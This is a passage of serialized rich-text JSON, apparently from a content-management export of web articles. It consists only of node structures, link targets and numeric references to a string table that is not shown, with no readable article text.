,"marks":57360,"value":15342,"nodeType":865},{},[57361],{"type":961},{"data":57363,"content":57364,"nodeType":866},{},[57365],{"data":57366,"marks":57367,"value":15349,"nodeType":865},{},[],{"data":57369,"content":57370,"nodeType":866},{},[57371,57375,57384],{"data":57372,"marks":57373,"value":15357,"nodeType":865},{},[57374],{"type":961},{"data":57376,"content":57379,"nodeType":15311},{"target":57377},{"sys":57378},{"id":15362,"type":922,"linkType":923},[57380],{"data":57381,"marks":57382,"value":11347,"nodeType":865},{},[57383],{"type":961},{"data":57385,"marks":57386,"value":1048,"nodeType":865},{},[57387],{"type":961},{"data":57389,"content":57390,"nodeType":866},{},[57391],{"data":57392,"marks":57393,"value":15378,"nodeType":865},{},[],{"data":57395,"content":57396,"nodeType":866},{},[57397],{"data":57398,"marks":57399,"value":15385,"nodeType":865},{},[],{"data":57401,"content":57402,"nodeType":866},{},[57403],{"data":57404,"marks":57405,"value":15392,"nodeType":865},{},[],{"data":57407,"content":57408,"nodeType":866},{},[57409,57413],{"data":57410,"marks":57411,"value":15400,"nodeType":865},{},[57412],{"type":961},{"data":57414,"marks":57415,"value":15404,"nodeType":865},{},[],{"data":57417,"content":57420,"nodeType":925},{"target":57418},{"sys":57419},{"id":15409,"type":922,"linkType":923},[],{"data":57422,"content":57423,"nodeType":953},{},[],{"data":57425,"content":57426,"nodeType":963},{},[57427],{"data":57428,"marks":57429,"value":15421,"nodeType":865},{},[57430],{"type":961},{"data":57432,"content":57433,"nodeType":866},{},[57434,57437,57441],{"data":57435,"marks":57436,"value":15428,"nodeType":865},{},[],{"data":57438,"marks":57439,"value":15433,"nodeType":865},{},[57440],{"type":961},{"data":57442,"marks":57443,"value":15437,"nodeType":865},{},[],{"data":57445,"content":57446,"nodeType":866},{},[57447,57450,57458],{"data":57448,"marks":57449,"value":15444,"nodeType":865},{},[],{"data":57451,"content":57454,"nodeType":15311},{"target":57452},{"sys":57453},{"id":15449,"type":922,"linkType":923},[57455],{"data":57456,"marks":57457,"value":15454,"nodeType":865},{},[],{"data":57459,"marks":57460,"value":15458,"nodeType":865},{},[],{"data":57462,"content":57463,"nodeType":1049},{},[57464,57473,57493],{"data":57465,"content":57466,"nodeType":1003},{},[57467],{"data":57468,"content":57469,"nodeType":866},{},[57470],{"data":57471,"marks":57472,"value":15471,"nodeType":865},{},[],{"data":57474,"content":57475,"nodeType":1003},{},[57476],{"data":57477,"content":57478,"nodeType":866},{},[57479,57482,57490],{"data":57480,"marks":57481,"value":15481,"nodeType":865},{},[],{"data":57483,"content":57486,"nodeType":15311},{"target":57484},{"sys":57485},{"id":15486,"type":922,"linkType":923},[57487],{"data":57488,"marks":57489,"value":15491,"nodeType":865},{},[],{"data":57491,"marks":57492,"value":15495,"nodeType":865},{},[],{"data":57494,"content":57495,"nodeType":1003},{},[57496],{"data":57497,"content":57498,"nodeType":866},{},[57499,57502,57510,57513,57521,57524,57532,57535,57543,57546,57554],{"data":57500,"marks":57501,"value":15505,"nodeType":865},{},[],{"data":57503,"content":57506,"nodeType":15311},{"target":57504},{"sys":57505},{"id":15510,"type":922,"linkType":923},[57507],{"data":57508,"marks":57509,"value":11095,"nodeType":865},{},[],{"data":57511,"marks":57512,"value":15518,"nodeType":865},{},[],{"data":57514,"content":57517,"nodeType":15311},{"target":57515},{"sys":57516},{"id":15362,"type":922,"linkType":923},[57518],{"data":57519,"marks":57520,"value":15527,"nodeType":865},{},[],{"data":57522,"marks":57523,"value":15531,"nodeType":865},{},[],{"data":57525,"content":57528,"nodeType":15311},{"target":57526},{"sys":57527},{"id":15536,"type":922,"linkType":923},[57529],{"data":57530,"marks":57531,"value":15541,"nodeType":865},{},[],{"data":57533,"marks":57534,"value":2157,"nodeType":865},{},[],{"data":57536,"content":57539,"nodeType":15311},{"target":57537},{"sys":57538},{"id":15306,"type":922,"linkType":923},[57540],{"data":57541,"marks":57542,"value":520,"nodeType":865},{},[],{"data":57544,"marks":57545,"value":2157,"nodeType":865},{},[],{"data":57547,"content":57550,"nodeType":15311},{"target":57548},{"sys":57549},{"id":15560,"type":922,"linkType":923},[57551],{"data":57552,"marks":57553,"value":15565,"nodeType":865},{},[],{"data":57555,"marks":57556,"value":15569,"nodeType":865},{},[],{"data":57558,"content":57561,"nodeType":925},{"target":57559},{"sys":57560},{"id":15574,"type":922,"linkType":923},[],{"data":57563,"content":57564,"nodeType":866},{},[57565],{"data":57566,"marks":57567,"value":15582,"nodeType":865},{},[],{"data":57569,"content":57572,"nodeType":925},{"target":57570},{"sys":57571},{"id":15587,"type":922,"linkType":923},[],{"data":57574,"content":57575,"nodeType":1458},{},[57576],{"data":57577,"marks":57578,"value":15596,"nodeType":865},{},[57579],{"type":961},{"data":57581,"content":57582,"nodeType":866},{},[57583],{"data":57584,"marks":57585,"value":15603,"nodeType":865},{},[],{"data":57587,"content":57588,"nodeType":866},{},[57589,57593],{"data":57590,"marks":57591,"value":15611,"nodeType":865},{},[57592],{"type":961},{"data":57594,"marks":57595,"value":15615,"nodeType":865},{},[],{"data":57597,"content":57598,"nodeType":866},{},[57599],{"data":57600,"marks":57601,"value":15622,"nodeType":865},{},[],{"data":57603,"content":57606,"nodeType":925},{"target":57604},{"sys":57605},{"id":15627,"type":922,"linkType":923},[],{"data":57608,"content":57609,"nodeType":866},{},[57610],{"data":57611,"marks":57612,"value":15635,"nodeType":865},{},[],{"data":57614,"content":57615,"nodeType":866},{},[57616,57620,57629],{"data":57617,"marks":57618,"value":15643,"nodeType":865},{},[57619],{"type":961},{"data":57621,"content":57624,"nodeType":15311},{"target":57622},{"sys":57623},{"id":15648,"type":922,"linkType":923},[57625],{"data":57626,"marks":57627,"value":8561,"nodeType":865},{},[57628],{"type":961},{"data":57630,"marks":57631,"value":15658,"nodeType":865},{},[57632],{"type":961},{"data":57634,"content":57635,"nodeType":866},{},[57636],{"data":57637,"marks":57638,"value":15665,"nodeType":865},{},[],{"data":57640,"content":57641,"nodeType":866},{},[57642],{"data":57643,"marks":57644,"value":15672,"nodeType":865},{},[],{"data":57646,"content":57649,"nodeType":925},{"target":57647},{"sys":57648},{"id":15677,"type":922,"linkType":923},[],{"data":57651,"content":57652,"nodeType":953},{},[],{"data":57654,"content":57655,"nodeType":963},{},[57656],{"data":57657,"marks":57658,"value":15689,"nodeType":865},{},[57659],{"type":961},{"data":57661,"content":57662,"nodeType":866},{},[57663],{"data":57664,"marks":57665,"value":15696,"nodeType":865},{},[],{"data":57667,"content":57668,"nodeType":1458},{},[57669],{"data":57670,"marks":57671,"value":15704,"nodeType":865},{},[57672],{"type":961},{"data":57674,"content":57675,"nodeType":866},{},[57676],{"data":57677,"marks":57678,"value":15711,"nodeType":865},{},[],{"data":57680,"content":57681,"nodeType":866},{},[57682,57685,57689],{"data":57683,"marks":57684,"value":15718,"nodeType":865},{},[],{"data":57686,"marks":57687,"value":9014,"nodeType":865},{},[57688],{"type":961},{"data":57690,"marks":57691,"value":15726,"nodeType":865},{},[],{"data":57693,"content":57694,"nodeType":866},{},[57695],{"data":57696,"marks":57697,"value":15733,"nodeType":865},{},[],{"data":57699,"content":57700,"nodeType":866},{},[57701],{"data":57702,"marks":57703,"value":15740,"nodeType":865},{},[],{"data":57705,"content":57706,"nodeType":1458},{},[57707],{"data":57708,"marks":57709,"value":15748,"nodeType":865},{},[57710],{"type":961},{"data":57712,"content":57713,"nodeType":866},{},[57714],{"data":57715,"marks":57716,"value":15755,"nodeType":865},{},[],{"data":57718,"content":57719,"nodeType":866},{},[57720],{"data":57721,"marks":57722,"value":15762,"nodeType":865},{},[],{"data":57724,"content":57725,"nodeType":1458},{},[57726],{"data":57727,"marks":57728,"value":15770,"nodeType":865},{},[57729],{"type":961},{"data":57731,"content":57732,"nodeType":866},{},[57733],{"data":57734,"marks":57735,"value":15777,"nodeType":865},{},[],{"data":57737,"content":57738,"nodeType":866},{},[57739],{"data":57740,"marks":57741,"value":15784,"nodeType":865},{},[],{"data":57743,"content":57744,"nodeType":953},{},[],{"data":57746,"content":57747,"nodeType":963},{},[57748],{"data":57749,"marks":57750,"value":15795,"nodeType":865},{},[57751],{"type":961},{"data":57753,"content":57754,"nodeType":866},{},[57755],{"data":57756,"marks":57757,"value":15802,"nodeType":865},{},[],{"data":57759,"content":57760,"nodeType":1458},{},[57761],{"data":57762,"marks":57763,"value":15810,"nodeType":865},{},[57764],{"type":961},{"data":57766,"content":57767,"nodeType":866},{},[57768],{"data":57769,"marks":57770,"value":15817,"nodeType":865},{},[],{"data":57772,"content":57773,"nodeType":866},{},[57774],{"data":57775,"marks":57776,"value":15824,"nodeType":865},{},[],{"data":57778,"content":57779,"nodeType":866},{},[57780],{"data":57781,"marks":57782,"value":15831,"nodeType":865},{},[],{"data":57784,"content":57785,"nodeType":866},{},[57786],{"data":57787,"marks":57788,"value":15838,"nodeType":865},{},[],{"data":57790,"content":57791,"nodeType":1458},{},[57792],{"data":57793,"marks":57794,"value":15846,"nodeType":865},{},[57795],{"type":961},{"data":57797,"content":57798,"nodeType":866},{},[57799],{"data":57800,"marks":57801,"value":15853,"nodeType":865},{},[],{"data":57803,"content":57804,"nodeType":866},{},[57805,57808,57812,57815,57819,57822,57826],{"data":57806,"marks":57807,"value":15860,"nodeType":865},{},[],{"data":57809,"marks":57810,"value":15865,"nodeType":865},{},[57811],{"type":961},{"data":57813,"marks":57814,"value":2186,"nodeType":865},{},[],{"data":57816,"marks":57817,"value":15873,"nodeType":865},{},[57818],{"type":961},{"data":57820,"marks":57821,"value":2186,"nodeType":865},{},[],{"data":57823,"marks":57824,"value":15881,"nodeType":865},{},[57825],{"type":961},{"data":57827,"marks":57828,"value":15885,"nodeType":865},{},[],{"data":57830,"content":57831,"nodeType":866},{},[57832],{"data":57833,"marks":57834,"value":15892,"nodeType":865},{},[],{"data":57836,"content":57837,"nodeType":866},{},[57838],{"data":57839,"marks":57840,"value":15899,"nodeType":865},{},[],{"data":57842,"content":57845,"nodeType":925},{"target":57843},{"sys":57844},{"id":15904,"type":922,"linkType":923},[],{"data":57847,"content":57848,"nodeType":866},{},[57849],{"data":57850,"marks":57851,"value":15912,"nodeType":865},{},[],{"data":57853,"content":57854,"nodeType":1458},{},[57855],{"data":57856,"marks":57857,"value":15920,"nodeType":865},{},[57858],{"type":961},{"data":57860,"content":57861,"nodeType":866},{},[57862],{"data":57863,"marks":57864,"value":15927,"nodeType":865},{},[],{"data":57866,"content":57867,"nodeType":1049},{},[57868,57881,57894,57907,57920],{"data":57869,"content":57870,"nodeType":1003},{},[57871],{"data":57872,"content":57873,"nodeType":866},{},[57874,57878],{"data":57875,"marks":57876,"value":15941,"nodeType":865},{},[57877],{"type":961},{"data":57879,"marks":57880,"value":15945,"nodeType":865},{},[],{"data":57882,"content":57883,"nodeType":1003},{},[57884],{"data":57885,"content":57886,"nodeType":866},{},[57887,57891],{"data":57888,"marks":57889,"value":15956,"nodeType":865},{},[57890],{"type":961},{"data":57892,"marks":57893,"value":15960,"nodeType":865},{},[],{"data":57895,"content":57896,"nodeType":1003},{},[57897],{"data":57898,"content":57899,"nodeType":866},{},[57900,57904],{"data":57901,"marks":57902,"value":15971,"nodeType":865},{},[57903],{"type":961},{"data":57905,"marks":57906,"value":15975,"nodeType":865},{},[],{"data":57908,"content":57909,"nodeType":1003},{},[57910],{"data":57911,"content":57912,"nodeType":866},{},[57913,57917],{"data":57914,"marks":57915,"value":15986,"nodeType":865},{},[57916],{"type":961},{"data":57918,"marks":57919,"value":15990,"nodeType":865},{},[],{"data":57921,"content":57922,"nodeType":1003},{},[57923],{"data":57924,"content":57925,"nodeType":866},{},[57926,57930],{"data":57927,"marks":57928,"value":16001,"nodeType":865},{},[57929],{"type":961},{"data":57931,"marks":57932,"value":16005,"nodeType":865},{},[],{"data":57934,"content":57937,"nodeType":925},{"target":57935},{"sys":57936},{"id":16010,"type":922,"linkType":923},[],{"data":57939,"content":57940,"nodeType":1458},{},[57941],{"data":57942,"marks":57943,"value":16019,"nodeType":865},{},[57944],{"type":961},{"data":57946,"content":57947,"nodeType":866},{},[57948,57951,57955],{"data":57949,"marks":57950,"value":16026,"nodeType":865},{},[],{"data":57952,"marks":57953,"value":16031,"nodeType":865},{},[57954],{"type":961},{"data":57956,"marks":57957,"value":16035,"nodeType":865},{},[],{"data":57959,"content":57960,"nodeType":866},{},[57961],{"data":57962,"marks":57963,"value":16042,"nodeType":865},{},[],{"data":57965,"content":57968,"nodeType":925},{"target":57966},{"sys":57967},{"id":16047,"type":922,"linkType":923},[],{"data":57970,"content":57971,"nodeType":866},{},[57972],{"data":57973,"marks":57974,"value":16055,"nodeType":865},{},[],{"data":57976,"content":57977,"nodeType":866},{},[57978,57981,57985],{"data":57979,"marks":57980,"value":16062,"nodeType":865},{},[],{"data":57982,"marks":57983,"value":16067,"nodeType":865},{},[57984],{"type":961},{"data":57986,"marks":57987,"value":16071,"nodeType":865},{},[],{"data":57989,"content":57990,"nodeType":953},{},[],{"data":57992,"content":57993,"nodeType":963},{},[57994],{"data":57995,"marks":57996,"value":16082,"nodeType":865},{},[57997],{"type":961},{"data":57999,"content":58000,"nodeType":866},{},[58001],{"data":58002,"marks":58003,"value":16089,"nodeType":865},{},[],{"data":58005,"content":58006,"nodeType":866},{},[58007],{"data":58008,"marks":58009,"value":16096,"nodeType":865},{},[],{"data":58011,"content":58014,"nodeType":925},{"target":58012},{"sys":58013},{"id":16101,"type":922,"linkType":923},[],{"data":58016,"content":58017,"nodeType":866},{},[58018],{"data":58019,"marks":58020,"value":16109,"nodeType":865},{},[],{"data":58022,"content":58023,"nodeType":1049},{},[58024,58042,58051],{"data":58025,"content":58026,"nodeType":1003},{},[58027],{"data":58028,"content":58029,"nodeType":866},{},[58030,58033,58039],{"data":58031,"marks":58032,"value":16122,"nodeType":865},{},[],{"data":58034,"content":58035,"nodeType":882},{"uri":16125},[58036],{"data":58037,"marks":58038,"value":16130,"nodeType":865},{},[],{"data":58040,"marks":58041,"value":16134,"nodeType":865},{},[],{"data":58043,"content":58044,"nodeType":1003},{},[58045],{"data":58046,"content":58047,"nodeType":866},{},[58048],{"data":58049,"marks":58050,"value":16144,"nodeType":865},{},[],{"data":58052,"content":58053,"nodeType":1003},{},[58054],{"data":58055,"content":58056,"nodeType":866},{},[58057],{"data":58058,"marks":58059,"value":16154,"nodeType":865},{},[],{"data":58061,"content":58062,"nodeType":866},{},[58063],{"data":58064,"marks":58065,"value":16161,"nodeType":865},{},[],{"data":58067,"content":58068,"nodeType":866},{},[58069],{"data":58070,"marks":58071,"value":16168,"nodeType":865},{},[],{"data":58073,"content":58074,"nodeType":866},{},[58075],{"data":58076,"marks":58077,"value":16175,"nodeType":865},{},[],{"data":58079,"content":58082,"nodeType":925},{"target":58080},{"sys":58081},{"id":16180,"type":922,"linkType":923},[],{"data":58084,"content":58085,"nodeType":953},{},[],{"data":58087,"content":58088,"nodeType":963},{},[58089],{"data":58090,"marks":58091,"value":16192,"nodeType":865},{},[58092],{"type":961},{"data":58094,"content":58095,"nodeType":866},{},[58096],{"data":58097,"marks":58098,"value":2792,"nodeType":865},{},[],{"data":58100,"content":58101,"nodeType":866},{},[58102],{"data":58103,"marks":58104,"value":1718,"nodeType":865},{},[],{"data":58106,"content":58107,"nodeType":866},{},[58108,58111,58117],{"data":58109,"marks":58110,"value":1725,"nodeType":865},{},[],{"data":58112,"content":58113,"nodeType":882},{"uri":16213},[58114],{"data":58115,"marks":58116,"value":1734,"nodeType":865},{},[],{"data":58118,"marks":58119,"value":1738,"nodeType":865},{},[],{"items":58121},[58122,58124],{"sys":58123,"name":11426},{"id":11425},{"sys":58125,"name":342},{"id":8410},{"items":58127},[58128],{"fullName":3774,"firstName":3775,"jobTitle":3776,"profilePicture":58129},{"url":3778},{"__typename":1788,"sys":58131,"content":58132,"title":40383,"synopsis":40384,"hashTags":59,"publishedDate":19780,"slug":40385,"tagsCollection":58953,"authorsCollection":58959},{"id":39422},{"json":58133},{"data":58134,"content":58135,"nodeType":1739},{},[58136,58158,58182,58215,58248,58253,58263,58266,58273,58315,58321,58340,58345,58348,58355,58379,58385,58392,58397,58400,58407,58413,58428,58434,58467,58473,58476,58483,58498,58540,58543,58550,58565,58580,58587,58593,58603,58613,58623,58633,58648,58655,58661,58664,58670,58676,58691,58694,58701,58716,58947],{"data":58137,"content":58138,"nodeType":866},{},[58139,58142,58148,58151,58155],{"data":58140,"marks":58141,"value":39433,"nodeType":865},{},[],{"data":58143,"content":58144,"nodeType":882},{"uri":8759},[58145],{"data":58146,"marks":58147,"value":19437,"nodeType":865},{},[],{"data":58149,"marks":58150,"value":39443,"nodeType":865},{},[],{"data":58152,"marks":58153,"value":39448,"nodeType":865},{},[58154],{"type":961},{"data":58156,"marks":58157,"value":39452,"nodeType":865},{},[],{"data":58159,"content":58160,"nodeType":866},{},[58161,58164,58170,58173,58179],{"data":58162,"marks":58163,"value":39459,"nodeType":865},{},[],{"data":58165,"content":58166,"nodeType":882},{"uri":39462},[58167],{"data":58168,"marks":58169,"value":39467,"nodeType":865},{},[],{"data":58171,"marks":58172,"value":39471,"nodeType":865},{},[],{"data":58174,"content":58175,"nodeType":882},{"uri":39474},[58176],{"data":58177,"marks":58178,"value":39479,"nodeType":865},{},[],{"data":58180,"marks":58181,"value":39483,"nodeType":865},{},[],{"data":58183,"content":58184,"nodeType":866},{},[58185,58188,58194,58197,58203,58206,58212],{"data":58186,"marks":58187,"value":39490,"nodeType":865},{},[],{"data":58189,"content":58190,"nodeType":882},{"uri":39493},[58191],{"data":58192,"marks":58193,"value":39498,"nodeType":865},{},[],{"data":58195,"marks":58196,"value":39502,"nodeType":865},{},[],{"data":58198,"content":58199,"nodeType":882},{"uri":39505},[58200],{"data":58201,"marks":58202,"value":39510,"nodeType":865},{},[],{"data":58204,"marks":58205,"value":39514,"nodeType":865},{},[],{"data":58207,"content":58208,"nodeType":882},{"uri":39517},[58209],{"data":58210,"marks":58211,"value":39522,"nodeType":865},{},[],{"data":58213,"marks":58214,"value":39526,"nodeType":865},{},[],{"data":58216,"content":58217,"nodeType":866},{},[58218,58221,58227,58230,58236,58239,58245],{"data":58219,"marks":58220,"value":39533,"nodeType":865},{},[],{"data":58222,"content":58223,"nodeType":882},{"uri":39536},[58224],{"data":58225,"marks":58226,"value":39541,"nodeType":865},{},[],{"data":58228,"marks":58229,"value":39545,"nodeType":865},{},[],{"data":58231,"content":58232,"nodeType":882},{"uri":39548},[58233],{"data":58234,"marks":58235,"value":39553,"nodeType":865},{},[],{"data":58237,"marks":58238,"value":39557,"nodeType":865},{},[],{"data":58240,"content":58241,"nodeType":882},{"uri":39560},[58242],{"data":58243,"marks":58244,"value":39565,"nodeType":865},{},[],{"data":58246,"marks":58247,"value":39569,"nodeType":865},{},[],{"data":58249,"content":58252,"nodeType":925},{"target":58250},{"sys":58251},{"id":39574,"type":922,"linkType":923},[],{"data":58254,"content":58255,"nodeType":866},{},[58256,58260],{"data":58257,"marks":58258,"value":39583,"nodeType":865},{},[58259],{"type":961},{"data":58261,"marks":58262,"value":39587,"nodeType":865},{},[],{"data":58264,"content":58265,"nodeType":953},{},[],{"data":58267,"content":58268,"nodeType":963},{},[58269],{"data":58270,"marks":58271,"value":39598,"nodeType":865},{},[58272],{"type":961},{"data":58274,"content":58275,"nodeType":866},{},[58276,58279,58285,58288,58294,58297,58303,58306,58312],{"data":58277,"marks":58278,"value":39605,"nodeType":865},{},[],{"data":58280,"content":58281,"nodeType":882},{"uri":24060},[58282],{"data":58283,"marks":58284,"value":39612,"nodeType":865},{},[],{"data":58286,"marks":58287,"value":26083,"nodeType":865},{},[],{"data":58289,"content":58290,"nodeType":882},{"uri":39618},[58291],{"data":58292,"marks":58293,"value":39623,"nodeType":865},{},[],{"data":58295,"marks":58296,"value":38646,"nodeType":865},{},[],{"data":58298,"content":58299,"nodeType":882},{"uri":39505},[58300],{"data":58301,"marks":58302,"value":39633,"nodeType":865},{},[],{"data":58304,"marks":58305,"value":39637,"nodeType":865},{},[],{"data":58307,"content":58308,"nodeType":882},{"uri":12335},[58309],{"data":58310,"marks":58311,"value":39644,"nodeType":865},{},[],{"data":58313,"marks":58314,"value":1048,"nodeType":865},{},[],{"data":58316,"content":58317,"nodeType":866},{},[58318],{"data":58319,"marks":58320,"value":39654,"nodeType":865},{},[],{"data":58322,"content":58323,"nodeType":866},{},[58324,58327,58333,58336],{"data":58325,"marks":58326,"value":39661,"nodeType":865},{},[],{"data":58328,"content":58329,"nodeType":882},{"uri":12335},[58330],{"data":58331,"marks":58332,"value":39668,"nodeType":865},{},[],{"data":58334,"marks":58335,"value":39672,"nodeType":865},{},[],{"data":58337,"marks":58338,"value":39677,"nodeType":865},{},[58339],{"type":961},{"data":58341,"content":58344,"nodeType":925},{"target":58342},{"sys":58343},{"id":39682,"type":922,"linkType":923},[],{"data":58346,"content":58347,"nodeType":953},{},[],{"data":58349,"content":58350,"nodeType":963},{},[58351],{"data":58352,"marks":58353,"value":39694,"nodeType":865},{},[58354],{"type":961},{"data":58356,"content":58357,"nodeType":866},{},[58358,58361,58367,58370,58376],{"data":58359,"marks":58360,"value":873,"nodeType":865},{},[],{"data":58362,"content":58363,"nodeType":882},{"uri":19454},[58364],{"data":58365,"marks":58366,"value":39707,"nodeType":865},{},[],{"data":58368,"marks":58369,"value":39711,"nodeType":865},{},[],{"data":58371,"content":58372,"nodeType":882},{"uri":39517},[58373],{"data":58374,"marks":58375,"value":39718,"nodeType":865},{},[],{"data":58377,"marks":58378,"value":39722,"nodeType":865},{},[],{"data":58380,"content":58381,"nodeType":866},{},[58382],{"data":58383,"marks":58384,"value":39729,"nodeType":865},{},[],{"data":58386,"content":58387,"nodeType":866},{},[58388],{"data":58389,"marks":58390,"value":39737,"nodeType":865},{},[58391],{"type":961},{"data":58393,"content":58396,"nodeType":925},{"target":58394},{"sys":58395},{"id":39742,"type":922,"linkType":923},[],{"data":58398,"content":58399,"nodeType":953},{},[],{"data":58401,"content":58402,"nodeType":963},{},[58403],{"data":58404,"marks":58405,"value":39754,"nodeType":865},{},[58406],{"type":961},{"data":58408,"content":58409,"nodeType":866},{},[58410],{"data":58411,"marks":58412,"value":39761,"nodeType":865},{},[],{"data":58414,"content":58415,"nodeType":866},{},[58416,58419,58425],{"data":58417,"marks":58418,"value":873,"nodeType":865},{},[],{"data":58420,"content":58421,"nodeType":882},{"uri":39770},[58422],{"data":58423,"marks":58424,"value":39775,"nodeType":865},{},[],{"data":58426,"marks":58427,"value":39779,"nodeType":865},{},[],{"data":58429,"content":58430,"nodeType":866},{},[58431],{"data":58432,"marks":58433,"value":39786,"nodeType":865},{},[],{"data":58435,"content":58436,"nodeType":866},{},[58437,58440,58446,58449,58455,58458,58464],{"data":58438,"marks":58439,"value":39793,"nodeType":865},{},[],{"data":58441,"content":58442,"nodeType":882},{"uri":39796},[58443],{"data":58444,"marks":58445,"value":39801,"nodeType":865},{},[],{"data":58447,"marks":58448,"value":39805,"nodeType":865},{},[],{"data":58450,"content":58451,"nodeType":882},{"uri":39808},[58452],{"data":58453,"marks":58454,"value":39813,"nodeType":865},{},[],{"data":58456,"marks":58457,"value":39817,"nodeType":865},{},[],{"data":58459,"content":58460,"nodeType":882},{"uri":3288},[58461],{"data":58462,"marks":58463,"value":39824,"nodeType":865},{},[],{"data":58465,"marks":58466,"value":39828,"nodeType":865},{},[],{"data":58468,"content":58469,"nodeType":866},{},[58470],{"data":58471,"marks":58472,"value":39835,"nodeType":865},{},[],{"data":58474,"content":58475,"nodeType":953},{},[],{"data":58477,"content":58478,"nodeType":963},{},[58479],{"data":58480,"marks":58481,"value":39846,"nodeType":865},{},[58482],{"type":961},{"data":58484,"content":58485,"nodeType":866},{},[58486,58489,58495],{"data":58487,"marks":58488,"value":39853,"nodeType":865},{},[],{"data":58490,"content":58491,"nodeType":882},{"uri":39856},[58492],{"data":58493,"marks":58494,"value":39861,"nodeType":865},{},[],{"data":58496,"marks":58497,"value":39865,"nodeType":865},{},[],{"data":58499,"content":58500,"nodeType":866},{},[58501,58504,58510,58513,58519,58522,58528,58531,58537],{"data":58502,"marks":58503,"value":39872,"nodeType":865},{},[],{"data":58505,"content":58506,"nodeType":882},{"uri":39875},[58507],{"data":58508,"marks":58509,"value":39880,"nodeType":865},{},[],{"data":58511,"marks":58512,"value":39884,"nodeType":865},{},[],{"data":58514,"content":58515,"nodeType":882},{"uri":39887},[58516],{"data":58517,"marks":58518,"value":39892,"nodeType":865},{},[],{"data":58520,"marks":58521,"value":39896,"nodeType":865},{},[],{"data":58523,"content":58524,"nodeType":882},{"uri":39899},[58525],{"data":58526,"marks":58527,"value":39904,"nodeType":865},{},[],{"data":58529,"marks":58530,"value":39908,"nodeType":865},{},[],{"data":58532,"content":58533,"nodeType":882},{"uri":39911},[58534],{"data":58535,"marks":58536,"value":39916,"nodeType":865},{},[],{"data":58538,"marks":58539,"value":39920,"nodeType":865},{},[],{"data":58541,"content":58542,"nodeType":953},{},[],{"data":58544,"content":58545,"nodeType":963},{},[58546],{"data":58547,"marks":58548,"value":39931,"nodeType":865},{},[58549],{"type":961},{"data":58551,"content":58552,"nodeType":866},{},[58553,58556,58562],{"data":58554,"marks":58555,"value":39938,"nodeType":865},{},[],{"data":58557,"content":58558,"nodeType":882},{"uri":1384},[58559],{"data":58560,"marks":58561,"value":39945,"nodeType":865},{},[],{"data":58563,"marks":58564,"value":39949,"nodeType":865},{},[],{"data":58566,"content":58567,"nodeType":866},{},[58568,58571,58577],{"data":58569,"marks":58570,"value":39956,"nodeType":865},{},[],{"data":58572,"content":58573,"nodeType":882},{"uri":39959},[58574],{"data":58575,"marks":58576,"value":315,"nodeType":865},{},[],{"data":58578,"marks":58579,"value":39967,"nodeType":865},{},[],{"data":58581,"content":58582,"nodeType":1458},{},[58583],{"data":58584,"marks":58585,"value":3604,"nodeType":865},{},[58586],{"type":961},{"data":58588,"content":58589,"nodeType":866},{},[58590],{"data":58591,"marks":58592,"value":39981,"nodeType":865},{},[],{"data":58594,"content":58595,"nodeType":866},{},[58596,58600],{"data":58597,"marks":58598,"value":39989,"nodeType":865},{},[58599],{"type":961},{"data":58601,"marks":58602,"value":39993,"nodeType":865},{},[],{"data":58604,"content":58605,"nodeType":866},{},[58606,58610],{"data":58607,"marks":58608,"value":40001,"nodeType":865},{},[58609],{"type":961},{"data":58611,"marks":58612,"value":40005,"nodeType":865},{},[],{"data":58614,"content":58615,"nodeType":866},{},[58616,58620],{"data":58617,"marks":58618,"value":40013,"nodeType":865},{},[58619],{"type":961},{"data":58621,"marks":58622,"value":40017,"nodeType":865},{},[],{"data":58624,"content":58625,"nodeType":866},{},[58626,58630],{"data":58627,"marks":58628,"value":40025,"nodeType":865},{},[58629],{"type":961},{"data":58631,"marks":58632,"value":40029,"nodeType":865},{},[],{"data":58634,"content":58635,"nodeType":866},{},[58636,58639,58645],{"data":58637,"marks":58638,"value":21,"nodeType":865},{},[],{"data":58640,"content":58641,"nodeType":882},{"uri":5481},[58642],{"data":58643,"marks":58644,"value":40042,"nodeType":865},{},[],{"data":58646,"marks":58647,"value":21,"nodeType":865},{},[],{"data":58649,"content":58650,"nodeType":1458},{},[58651],{"data":58652,"marks":58653,"value":40053,"nodeType":865},{},[58654],{"type":961},{"data":58656,"content":58657,"nodeType":866},{},[58658],{"data":58659,"marks":58660,"value":40060,"nodeType":865},{},[],{"data":58662,"content":58663,"nodeType":953},{},[],{"data":58665,"content":58666,"nodeType":866},{},[58667],{"data":58668,"marks":58669,"value":5006,"nodeType":865},{},[],{"data":58671,"content":58672,"nodeType":866},{},[58673],{"data":58674,"marks":58675,"value":1718,"nodeType":865},{},[],{"data":58677,"content":58678,"nodeType":866},{},[58679,58682,58688],{"data":58680,"marks":58681,"value":21,"nodeType":865},{},[],{"data":58683,"content":58684,"nodeType":882},{"uri":13728},[58685],{"data":58686,"marks":58687,"value":2812,"nodeType":865},{},[],{"data":58689,"marks":58690,"value":21,"nodeType":865},{},[],{"data":58692,"content":58693,"nodeType":953},{},[],{"data":58695,"content":58696,"nodeType":963},{},[58697],{"data":58698,"marks":58699,"value":40101,"nodeType":865},{},[58700],{"type":961},{"data":58702,"content":58703,"nodeType":866},{},[58704,58707,58713],{"data":58705,"marks":58706,"value":40108,"nodeType":865},{},[],{"data":58708,"content":58709,"nodeType":882},{"uri":8759},[58710],{"data":58711,"marks":58712,"value":40115,"nodeType":865},{},[],{"data":58714,"marks":58715,"value":40119,"nodeType":865},{},[],{"data":58717,"content":58718,"nodeType":2396},{},[58719,58762,58818,58861,58904],{"data":58720,"content":58721,"nodeType":1869},{},[58722,58732,58742,58752],{"data":58723,"content":58724,"nodeType":1835},{},[58725],{"data":58726,"content":58727,"nodeType":866},{},[58728],{"data":58729,"marks":58730,"value":40136,"nodeType":865},{},[58731],{"type":961},{"data":58733,"content":58734,"nodeType":1835},{},[58735],{"data":58736,"content":58737,"nodeType":866},{},[58738],{"data":58739,"marks":58740,"value":40147,"nodeType":865},{},[58741],{"type":961},{"data":58743,"content":58744,"nodeType":1835},{},[58745],{"data":58746,"content":58747,"nodeType":866},{},[58748],{"data":58749,"marks":58750,"value":40158,"nodeType":865},{},[58751],{"type":961},{"data":58753,"content":58754,"nodeType":1835},{},[58755],{"data":58756,"content":58757,"nodeType":866},{},[58758],{"data":58759,"marks":58760,"value":40169,"nodeType":865},{},[58761],{"type":961},{"data":58763,"content":58764,"nodeType":1869},{},[58765,58785,58794,58803],{"data":58766,"content":58767,"nodeType":1835},{},[58768],{"data":58769,"content":58770,"nodeType":866},{},[58771,58775,58778,58782],{"data":58772,"marks":58773,"value":40183,"nodeType":865},{},[58774],{"type":961},{"data":58776,"marks":58777,"value":40187,"nodeType":865},{},[],{"data":58779,"marks